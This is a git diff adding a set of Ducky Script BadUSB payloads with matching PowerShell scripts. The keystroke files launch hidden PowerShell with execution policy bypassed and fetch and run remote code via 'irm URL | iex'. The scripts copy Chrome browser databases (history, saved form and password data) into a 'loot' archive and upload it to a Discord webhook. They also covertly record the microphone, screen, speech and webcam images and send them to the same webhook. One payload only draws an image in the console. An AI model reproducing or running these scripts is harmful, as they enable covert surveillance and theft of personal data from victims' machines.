diff --git a/Chrome-DB-to-Discord/Chrome-DB-to-Discord.txt b/Chrome-DB-to-Discord/Chrome-DB-to-Discord.txt new file mode 100644 index 0000000..f725922 --- /dev/null +++ b/Chrome-DB-to-Discord/Chrome-DB-to-Discord.txt @@ -0,0 +1,19 @@ +REM Title: Chrome DB to Discord +REM Author: @beigeworm +REM Description: Chrome stores visited websites, password entries, Address entries, email entries and more inside database files +REM Description: They can be extracted to a discord chat and viewed in something like 'DB Browser'. +REM Target: Windows 10 + +REM Replace YOUR_WEBHOOK_HERE with your Discord webhook URL + +REM some setup for dukie script +DEFAULT_DELAY 100 + +REM open powershell (remove "-W H" to show the window) +DELAY 1000 +GUI r +DELAY 750 +STRING powershell -NoP -Ep Bypass -W H -C $dc = 'YOUR_WEBHOOK_HERE' ; irm URL | iex +ENTER + + diff --git a/Chrome-DB-to-Discord/main.ps1 b/Chrome-DB-to-Discord/main.ps1 new file mode 100644 index 0000000..762898c --- /dev/null +++ b/Chrome-DB-to-Discord/main.ps1 @@ -0,0 +1,27 @@ + +$dc = "$dc" +if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url} +$sourceDir = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data" +$tempFolder = [System.IO.Path]::GetTempPath() + "loot" +if (!(Test-Path $tempFolder)){ + New-Item -Path $tempFolder -ItemType Directory -Force +} + +$filesToCopy = Get-ChildItem -Path $sourceDir -Filter '*' -Recurse | Where-Object { $_.Name -like 'Web Data' -or $_.Name -like 'History' } +foreach ($file in $filesToCopy) { + $randomLetters = -join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_}) + $newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension + $destination = Join-Path -Path $tempFolder -ChildPath $newFileName + Copy-Item -Path $file.FullName -Destination $destination -Force +} +$zipFileName = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "loot.zip") +Compress-Archive -Path $tempFolder -DestinationPath $zipFileName +$tempFolders = Get-ChildItem -Path $tempFolder -Directory +foreach ($folder in $tempFolders) { + if ($folder.Name -ne "loot") { + Remove-Item -Path $folder.FullName -Recurse -Force + } +} +Remove-Item -Path $tempFolder -Recurse -Force + +curl.exe -F file1=@"$zipFileName" $dc | Out-Null \ No newline at end of file diff --git a/Image-to-Console/Image-to-Console.txt b/Image-to-Console/Image-to-Console.txt new file mode 100644 index 0000000..1cb3838 --- /dev/null +++ b/Image-to-Console/Image-to-Console.txt @@ -0,0 +1,18 @@ +REM Title: Image To Console +REM Author: @beigeworm +REM Description: Convert an image to Powershell console. +REM Target: Windows 10 + +REM Replace YOUR_WEBHOOK_HERE with your Discord webhook URL + +REM some setup for dukie script +DEFAULT_DELAY 100 + +REM open powershell (remove "-W H" to show the window) +DELAY 1000 +GUI r +DELAY 750 +STRING powershell -NoP -Ep Bypass -W H -C irm URL | iex +ENTER + + diff --git a/Image-to-Console/main.ps1 b/Image-to-Console/main.ps1 new file mode 100644 index 0000000..ef8a8b2 --- /dev/null +++ b/Image-to-Console/main.ps1 @@ -0,0 +1,87 @@ +<#==================== Image to Powershell Console =============================== + +SYNOPSIS +Convert an image to Powershell console. + +CREDIT +All credit and kudos to I-Am-Jakoby on Github for this script. + +#> + +[Console]::BackgroundColor = "Black" +[Console]::CursorVisible = $false +$wshell = New-Object -ComObject wscript.shell; +$wshell.AppActivate("Powershell.exe") +$wshell.SendKeys("{F11}") +cls +$fpath = "$env:temp/img.png" +iwr -uri https://i.imgur.com/gUkR5qp.png -O $fpath + +Function PS-Draw{ +param([String] [parameter(mandatory=$true, Valuefrompipeline = $true)] $Path,[Switch] $ToASCII) + Begin{ + [void] [System.Reflection.Assembly]::LoadWithPartialName('System.drawing') + $Colors = @{ + 'FF000000' = 'White' + 'FFFFFFFF' = 'Black' + 'FF000080' = 'DarkBlue' + 'FF008000' = 'DarkGreen' + 'FF008080' = 'DarkCyan' + 'FF800000' = 'DarkRed' + 'FF800080' = 'DarkMagenta' + 'FF808000' = 'DarkYellow' + 'FFC0C0C0' = 'Gray' + 'FF808080' = 'DarkGray' + 'FF0000FF' = 'Blue' + 'FF00FF00' = 'Green' + 'FF00FFFF' = 'Cyan' + 'FFFF0000' = 'Red' + 'FFFF00FF' = 'Magenta' + 'FFFFFF00' = 'Yellow' + } + Function Get-ClosestConsoleColor($PixelColor){ + ($(foreach ($item in $Colors.Keys) { + [pscustomobject]@{ + 'Color' = $Item + 'Diff' = [math]::abs([convert]::ToInt32($Item,16) - [convert]::ToInt32($PixelColor,16)) + } + }) | Sort-Object Diff)[0].color + } + } + Process + { + Foreach($item in $Path){ + $BitMap = [System.Drawing.Bitmap]::FromFile((Get-Item $Item).fullname) + Foreach($y in (1..($BitMap.Height-1))) + { + Foreach($x in (1..($BitMap.Width-1))){ + $Pixel = $BitMap.GetPixel($X,$Y) + $BackGround = $Colors.Item((Get-ClosestConsoleColor $Pixel.name)) + If($ToASCII){ + Write-Host "$([Char](Get-Random -Maximum 126 -Minimum 33))" -NoNewline -ForegroundColor $BackGround + } + else{ + Write-Host " " -NoNewline -BackgroundColor $BackGround + } + } + Write-Host '' + } + } + } + end{} +} + + +Add-Type -AssemblyName System.Windows.Forms + +$fpath | PS-Draw -ToASCII + +sleep 5 + +$o=New-Object -ComObject WScript.Shell +$i = 0 +while ($i -lt 12){ +$o.SendKeys("^+-") +$i++ +sleep -Milliseconds 200 +} diff --git a/Record-Mic-to-Discord/Record-Mic-to-Discord.txt b/Record-Mic-to-Discord/Record-Mic-to-Discord.txt new file mode 100644 index 0000000..f2900f6 --- /dev/null +++ b/Record-Mic-to-Discord/Record-Mic-to-Discord.txt @@ -0,0 +1,18 @@ +REM Title: Record Microphone to Discord +REM Author: @beigeworm +REM Description: This script finds the default microphone and records for a specified time to a mp3 file, then sends the file to a discord webhook. +REM Target: Windows 10 + +REM Replace YOUR_WEBHOOK_HERE with your Discord webhook URL + +REM some setup for dukie script +DEFAULT_DELAY 100 + +REM open powershell (remove "-W H" to show the window) +DELAY 1000 +GUI r +DELAY 750 +STRING powershell -NoP -Ep Bypass -W H -C $dc = 'YOUR_WEBHOOK_HERE' ; irm URL | iex +ENTER + + diff --git a/Record-Mic-to-Discord/main.ps1 b/Record-Mic-to-Discord/main.ps1 new file mode 100644 index 0000000..e51cb6c --- /dev/null +++ b/Record-Mic-to-Discord/main.ps1 @@ -0,0 +1,45 @@ +<#==================== RECORD MICROPHONE TO DISCORD ========================= + +SYNOPSIS +This script finds the default microphone and records for a specified time to a mp3 file, then sends the file to a discord webhook. + +#> +$hookurl = "$dc" +if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url} + +Function RecordAudio{ +param ([int[]]$t) + +$Path = "$env:Temp\ffmpeg.exe" + +If (!(Test-Path $Path)){ +$zipUrl = 'https://www.gyan.dev/ffmpeg/builds/packages/ffmpeg-7.0-essentials_build.zip' +$tempDir = "$env:temp" +$zipFilePath = Join-Path $tempDir 'ffmpeg-7.0-essentials_build.zip' +$extractedDir = Join-Path $tempDir 'ffmpeg-7.0-essentials_build' +Invoke-WebRequest -Uri $zipUrl -OutFile $zipFilePath +Expand-Archive -Path $zipFilePath -DestinationPath $tempDir -Force +Move-Item -Path (Join-Path $extractedDir 'bin\ffmpeg.exe') -Destination $tempDir -Force +Remove-Item -Path $zipFilePath -Force +Remove-Item -Path $extractedDir -Recurse -Force +} + +sleep 1 + +Add-Type '[Guid("D666063F-1587-4E43-81F1-B948E807363F"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]interface IMMDevice {int a(); int o();int GetId([MarshalAs(UnmanagedType.LPWStr)] out string id);}[Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]interface IMMDeviceEnumerator {int f();int GetDefaultAudioEndpoint(int dataFlow, int role, out IMMDevice endpoint);}[ComImport, Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")] class MMDeviceEnumeratorComObject { }public static string GetDefault (int direction) {var enumerator = new MMDeviceEnumeratorComObject() as IMMDeviceEnumerator;IMMDevice dev = null;Marshal.ThrowExceptionForHR(enumerator.GetDefaultAudioEndpoint(direction, 1, out dev));string id = null;Marshal.ThrowExceptionForHR(dev.GetId(out id));return id;}' -name audio -Namespace system +function getFriendlyName($id) {$reg = "HKLM:\SYSTEM\CurrentControlSet\Enum\SWD\MMDEVAPI\$id";return (get-ItemProperty $reg).FriendlyName} +$id1 = [audio]::GetDefault(1);$MicName = "$(getFriendlyName $id1)"; Write-Output $MicName + +$mp3Path = "$env:Temp\AudioClip.mp3" + +if ($t.Length -eq 0){$t = 10} + +.$env:Temp\ffmpeg.exe -f dshow -i audio="$MicName" -t $t -c:a libmp3lame -ar 44100 -b:a 128k -ac 1 $mp3Path + +curl.exe -F file1=@"$mp3Path" $hookurl | Out-Null +sleep 1 +rm -Path $mp3Path -Force + +} + +RecordAudio -t 120 # time to record microphone in seconds diff --git a/Record-Screen-to-Discord/Record-Screen-to-Discord.txt b/Record-Screen-to-Discord/Record-Screen-to-Discord.txt new file mode 100644 index 0000000..53bcabf --- /dev/null +++ b/Record-Screen-to-Discord/Record-Screen-to-Discord.txt @@ -0,0 +1,18 @@ +REM Title: Record Screen to Discord +REM Author: @beigeworm +REM Description: This script records the screen for a specified time to a mkv file, then sends the file to a discord webhook. +REM Target: Windows 10 + +REM Replace YOUR_WEBHOOK_HERE with your Discord webhook URL + +REM some setup for dukie script +DEFAULT_DELAY 100 + +REM open powershell (remove "-W H" to show the window) +DELAY 1000 +GUI r +DELAY 750 +STRING powershell -NoP -Ep Bypass -W H -C $dc = 'YOUR_WEBHOOK_HERE' ; irm URL | iex +ENTER + + diff --git a/Record-Screen-to-Discord/main.ps1 b/Record-Screen-to-Discord/main.ps1 new file mode 100644 index 0000000..33e8d1f --- /dev/null +++ b/Record-Screen-to-Discord/main.ps1 @@ -0,0 +1,37 @@ +<#==================== RECORD SCREEN TO DISCORD ========================= + +SYNOPSIS +This script records the screen for a specified time to a mkv file, then sends the file to a discord webhook. + +#> + +$hookurl = "$dc" +if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url} + +Function RecordScreen{ + param ([int[]]$t) + if ($t.Length -eq 0){$t = 10} + $Path = "$env:Temp\ffmpeg.exe" + If (!(Test-Path $Path)){ + $jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = ":hourglass: ``Downloading ffmpeg.exe. Please wait...`` :hourglass:"} | ConvertTo-Json + Invoke-RestMethod -Uri $hookurl -Method Post -ContentType "application/json" -Body $jsonsys + $zipUrl = 'https://www.gyan.dev/ffmpeg/builds/packages/ffmpeg-7.0-essentials_build.zip' + $tempDir = "$env:temp" + $zipFilePath = Join-Path $tempDir 'ffmpeg-7.0-essentials_build.zip' + $extractedDir = Join-Path $tempDir 'ffmpeg-7.0-essentials_build' + Invoke-WebRequest -Uri $zipUrl -OutFile $zipFilePath + Expand-Archive -Path $zipFilePath -DestinationPath $tempDir -Force + Move-Item -Path (Join-Path $extractedDir 'bin\ffmpeg.exe') -Destination $tempDir -Force + Remove-Item -Path $zipFilePath -Force + Remove-Item -Path $extractedDir -Recurse -Force + } + $mkvPath = "$env:Temp\ScreenClip.mkv" + $jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = ":arrows_counterclockwise: ``Recording screen (24mb Clip)`` :arrows_counterclockwise:"} | ConvertTo-Json + Invoke-RestMethod -Uri $hookurl -Method Post -ContentType "application/json" -Body $jsonsys + .$env:Temp\ffmpeg.exe -f gdigrab -framerate 5 -i desktop -fs 24000000 $mkvPath + curl.exe -F file1=@"$mkvPath" $hookurl | Out-Null + sleep 1 + rm -Path $mkvPath -Force +} + +RecordScreen \ No newline at end of file diff --git a/Speech-to-Discord/Speech-to-Discord.txt b/Speech-to-Discord/Speech-to-Discord.txt new file mode 100644 index 0000000..52946af --- /dev/null +++ b/Speech-to-Discord/Speech-to-Discord.txt @@ -0,0 +1,18 @@ +REM Title: Speech to Discord +REM Author: @beigeworm +REM Description: Uses assembly 'System.Speech' to take audio input and convert to text and then send the text to discord. +REM Target: Windows 10 + +REM Replace YOUR_WEBHOOK_HERE with your Discord webhook URL + +REM some setup for dukie script +DEFAULT_DELAY 100 + +REM open powershell (remove "-W H" to show the window) +DELAY 1000 +GUI r +DELAY 750 +STRING powershell -NoP -Ep Bypass -W H -C $dc = 'YOUR_WEBHOOK_HERE' ; irm URL | iex +ENTER + + diff --git a/Speech-to-Discord/main.ps1 b/Speech-to-Discord/main.ps1 new file mode 100644 index 0000000..1e4a166 --- /dev/null +++ b/Speech-to-Discord/main.ps1 @@ -0,0 +1,28 @@ +<#=============================== Speech to Discord ==================================== + +SYNOPSIS +Uses assembly 'System.Speech' to take audio input and convert to text and then send the text to discord. + +SETUP +1. Replace 'YOUR_WEBHOOK_HERE' with your discord webhook + +#> + +$dc = 'WEBHOOK_HERE' # can be shortened + +Add-Type -AssemblyName System.Speech +$speech = New-Object System.Speech.Recognition.SpeechRecognitionEngine +$grammar = New-Object System.Speech.Recognition.DictationGrammar +$speech.LoadGrammar($grammar) +$speech.SetInputToDefaultAudioDevice() + +while ($true) { + $result = $speech.Recognize() + if ($result) { + $results = $result.Text + Write-Output $results + if ($dc.Ln -ne 121){$dc = (irm $dc).url} + $Body = @{'username' = $env:COMPUTERNAME ; 'content' = $results} + irm -ContentType 'Application/Json' -Uri $dc -Method Post -Body ($Body | ConvertTo-Json) + } +} diff --git a/Webcam-to-Discord/Webcam-to-Discord.txt b/Webcam-to-Discord/Webcam-to-Discord.txt new file mode 100644 index 0000000..33d7e67 --- /dev/null +++ b/Webcam-to-Discord/Webcam-to-Discord.txt @@ -0,0 +1,18 @@ +REM Title: Webcam to Discord +REM Author: @beigeworm +REM Description: download a webcam.dll file, find a webcam cand take a picture then send it to discord. +REM Target: Windows 10 + +REM Replace YOUR_WEBHOOK_HERE with your Discord webhook URL + +REM some setup for dukie script +DEFAULT_DELAY 100 + +REM open powershell (remove "-W H" to show the window) +DELAY 1000 +GUI r +DELAY 750 +STRING powershell -NoP -Ep Bypass -W H -C $dc = 'YOUR_WEBHOOK_HERE' ; irm URL | iex +ENTER + + diff --git a/Webcam-to-Discord/main.ps1 b/Webcam-to-Discord/main.ps1 new file mode 100644 index 0000000..217f11e --- /dev/null +++ b/Webcam-to-Discord/main.ps1 @@ -0,0 +1,27 @@ +<#========================== WEBCAM TO DISCORD ============================= + +SYNOPSIS +download a webcam.dll file, find a webcam cand take a picture then send it to discord. + +#> + +$hookurl = "$dc" +if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url} +$dllPath = Join-Path -Path $env:TEMP -ChildPath "webcam.dll" +if (-not (Test-Path $dllPath)) { + $url = "https://github.com/beigeworm/assets/raw/main/webcam.dll" + $webClient = New-Object System.Net.WebClient + $webClient.DownloadFile($url, $dllPath) +} +Add-Type -Path $dllPath +[Webcam.webcam]::init() +[Webcam.webcam]::select(1) +$imageBytes = [Webcam.webcam]::GetImage() +$tempDir = [System.IO.Path]::GetTempPath() +$imagePath = Join-Path -Path $tempDir -ChildPath "webcam_image.jpg" +[System.IO.File]::WriteAllBytes($imagePath, $imageBytes) +sleep 1 +curl.exe -F "file1=@$imagePath" $hookurl | Out-Null +sleep 1 +Remove-Item -Path "$env:TEMP\webcam.dll" +Remove-Item -Path $imagePath -Force